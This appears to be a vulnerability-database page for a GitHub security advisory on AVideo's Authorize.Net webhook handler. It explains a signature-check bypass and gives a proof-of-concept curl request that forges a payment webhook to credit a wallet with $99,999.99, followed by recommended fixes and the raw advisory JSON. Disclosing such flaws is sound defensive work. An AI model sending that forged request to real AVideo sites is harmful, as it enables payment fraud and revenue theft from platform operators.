GHSA-95JH-7R58-XMXW

Vulnerability from github – Published: 2026-06-22 19:58 – Updated: 2026-06-22 19:58
VLAI
Summary
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Details

Summary

The Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.

Details

Three flaws combine into an exploit chain:

1. Signature Bypass via OR Logic (webhook.php:33)

if (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {
    http_response_code(401);
    echo 'invalid signature';
    exit;
}

The webhook is rejected only when both conditions are true: the signature is invalid AND the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), getTransactionDetails() succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.

2. Payload Values Override API-Fetched Values (AuthorizeNet.php:169-171, webhook.php:44-48)

In analyzeTransactionFromWebhook(), users_id and amount are extracted from the attacker-controlled webhook payload first:

$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;
$amount   = isset($payload['amount']) ? (float)$payload['amount'] : ...;

The fallback logic in webhook.php only applies when the analysis values are empty/falsy:

if (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {
    $analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (!$analysis['amount'] && isset($txnInfo['amount'])) {
    $analysis['amount'] = (float)$txnInfo['amount'];
}

Since the forged payload already provides both values, the authoritative API-fetched values are never used.

3. Missing Approval Check (webhook.php:61-75)

The code checks only that users_id and amount are non-empty before calling processSinglePayment(). The isApproved field is computed in analyzeTransactionFromWebhook() (line 222-228) but never verified before crediting the wallet at line 68-75.

PoC

Prerequisites: Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., 60123456789).

  1. Immediately after the purchase completes (to race the legitimate webhook), send a forged webhook:
curl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \
  -H 'Content-Type: application/json' \
  -d '{
    "eventType": "net.authorize.payment.authcapture.created",
    "payload": {
      "id": "60123456789",
      "amount": 99999.99,
      "responseCode": 1,
      "metadata": {
        "users_id": 2
      }
    }
  }'
  1. The signature check fails (no X-ANET-Signature header), but getTransactionDetails('60123456789') succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues.

  2. analyzeTransactionFromWebhook() uses the forged payload's amount: 99999.99 and metadata.users_id: 2.

  3. processSinglePayment() credits $99,999.99 to user ID 2's wallet via addBalance().

  4. The dedup key is sha1('net.authorize.payment.authcapture.created' . '60123456789'), so the legitimate webhook arriving later is silently discarded as a duplicate.

  5. The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.

Impact

  • Wallet balance inflation: Attacker credits arbitrary amounts to any user's wallet without corresponding payment, bypassing the payment gateway's actual charge amount.
  • Premium content access: Inflated wallet balance allows purchasing all paid/premium video content without real payment.
  • Subscription fraud: By including plans_id in forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment.
  • Financial loss: Platform owner loses revenue from fraudulently accessed premium content and services.

Recommended Fix

1. Reject webhooks with invalid signatures unconditionally — the transaction lookup should only be used for data enrichment after signature validation passes:

// webhook.php line 33 — FIX: reject on invalid signature alone
if (!$parsed['signatureValid']) {
    _error_log('[Authorize.Net webhook] Bad signature');
    http_response_code(401);
    echo 'invalid signature';
    exit;
}

2. Use API-fetched values as authoritative — in webhook.php lines 44-55, invert the precedence so $txnInfo values always override payload values:

// Always prefer API-fetched values over payload values
if (!empty($txnInfo['users_id'])) {
    $analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (isset($txnInfo['amount'])) {
    $analysis['amount'] = (float)$txnInfo['amount'];
}

3. Check isApproved before processing — add a gate before processSinglePayment():

if (!$analysis['isApproved']) {
    _error_log('[Authorize.Net webhook] Transaction not approved');
    http_response_code(400);
    echo 'transaction not approved';
    exit;
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 28.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T19:58:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Authorize.Net webhook handler at `plugin/AuthorizeNet/webhook.php` contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.\n\n## Details\n\nThree flaws combine into an exploit chain:\n\n### 1. Signature Bypass via OR Logic (webhook.php:33)\n\n```php\nif (!$parsed[\u0027signatureValid\u0027] \u0026\u0026 (empty($txnInfo) || !empty($txnInfo[\u0027error\u0027]))) {\n    http_response_code(401);\n    echo \u0027invalid signature\u0027;\n    exit;\n}\n```\n\nThe webhook is rejected only when **both** conditions are true: the signature is invalid **AND** the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), `getTransactionDetails()` succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.\n\n### 2. Payload Values Override API-Fetched Values (AuthorizeNet.php:169-171, webhook.php:44-48)\n\nIn `analyzeTransactionFromWebhook()`, `users_id` and `amount` are extracted from the attacker-controlled webhook **payload** first:\n\n```php\n$users_id = isset($metadata[\u0027users_id\u0027]) ? (int)$metadata[\u0027users_id\u0027] : null;\n$amount   = isset($payload[\u0027amount\u0027]) ? (float)$payload[\u0027amount\u0027] : ...;\n```\n\nThe fallback logic in webhook.php only applies when the analysis values are empty/falsy:\n\n```php\nif (!$analysis[\u0027users_id\u0027] \u0026\u0026 !empty($txnInfo[\u0027users_id\u0027])) {\n    $analysis[\u0027users_id\u0027] = (int)$txnInfo[\u0027users_id\u0027];\n}\nif (!$analysis[\u0027amount\u0027] \u0026\u0026 isset($txnInfo[\u0027amount\u0027])) {\n    $analysis[\u0027amount\u0027] = (float)$txnInfo[\u0027amount\u0027];\n}\n```\n\nSince the forged payload already provides both values, the authoritative API-fetched values are never used.\n\n### 3. Missing Approval Check (webhook.php:61-75)\n\nThe code checks only that `users_id` and `amount` are non-empty before calling `processSinglePayment()`. The `isApproved` field is computed in `analyzeTransactionFromWebhook()` (line 222-228) but **never verified** before crediting the wallet at line 68-75.\n\n## PoC\n\n**Prerequisites:** Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., `60123456789`).\n\n1. Immediately after the purchase completes (to race the legitimate webhook), send a forged webhook:\n\n```bash\ncurl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"eventType\": \"net.authorize.payment.authcapture.created\",\n    \"payload\": {\n      \"id\": \"60123456789\",\n      \"amount\": 99999.99,\n      \"responseCode\": 1,\n      \"metadata\": {\n        \"users_id\": 2\n      }\n    }\n  }\u0027\n```\n\n2. The signature check fails (no `X-ANET-Signature` header), but `getTransactionDetails(\u002760123456789\u0027)` succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues.\n\n3. `analyzeTransactionFromWebhook()` uses the forged payload\u0027s `amount: 99999.99` and `metadata.users_id: 2`.\n\n4. `processSinglePayment()` credits $99,999.99 to user ID 2\u0027s wallet via `addBalance()`.\n\n5. The dedup key is `sha1(\u0027net.authorize.payment.authcapture.created\u0027 . \u002760123456789\u0027)`, so the legitimate webhook arriving later is silently discarded as a duplicate.\n\n6. The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.\n\n## Impact\n\n- **Wallet balance inflation:** Attacker credits arbitrary amounts to any user\u0027s wallet without corresponding payment, bypassing the payment gateway\u0027s actual charge amount.\n- **Premium content access:** Inflated wallet balance allows purchasing all paid/premium video content without real payment.\n- **Subscription fraud:** By including `plans_id` in forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment.\n- **Financial loss:** Platform owner loses revenue from fraudulently accessed premium content and services.\n\n## Recommended Fix\n\n**1. Reject webhooks with invalid signatures unconditionally** \u2014 the transaction lookup should only be used for data enrichment *after* signature validation passes:\n\n```php\n// webhook.php line 33 \u2014 FIX: reject on invalid signature alone\nif (!$parsed[\u0027signatureValid\u0027]) {\n    _error_log(\u0027[Authorize.Net webhook] Bad signature\u0027);\n    http_response_code(401);\n    echo \u0027invalid signature\u0027;\n    exit;\n}\n```\n\n**2. Use API-fetched values as authoritative** \u2014 in webhook.php lines 44-55, invert the precedence so `$txnInfo` values always override payload values:\n\n```php\n// Always prefer API-fetched values over payload values\nif (!empty($txnInfo[\u0027users_id\u0027])) {\n    $analysis[\u0027users_id\u0027] = (int)$txnInfo[\u0027users_id\u0027];\n}\nif (isset($txnInfo[\u0027amount\u0027])) {\n    $analysis[\u0027amount\u0027] = (float)$txnInfo[\u0027amount\u0027];\n}\n```\n\n**3. Check `isApproved` before processing** \u2014 add a gate before `processSinglePayment()`:\n\n```php\nif (!$analysis[\u0027isApproved\u0027]) {\n    _error_log(\u0027[Authorize.Net webhook] Transaction not approved\u0027);\n    http_response_code(400);\n    echo \u0027transaction not approved\u0027;\n    exit;\n}\n```",
  "id": "GHSA-95jh-7r58-xmxw",
  "modified": "2026-06-22T19:58:51Z",
  "published": "2026-06-22T19:58:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-95jh-7r58-xmxw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/033e83ae904cacb99495dbea7cbcfb3738cf42e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…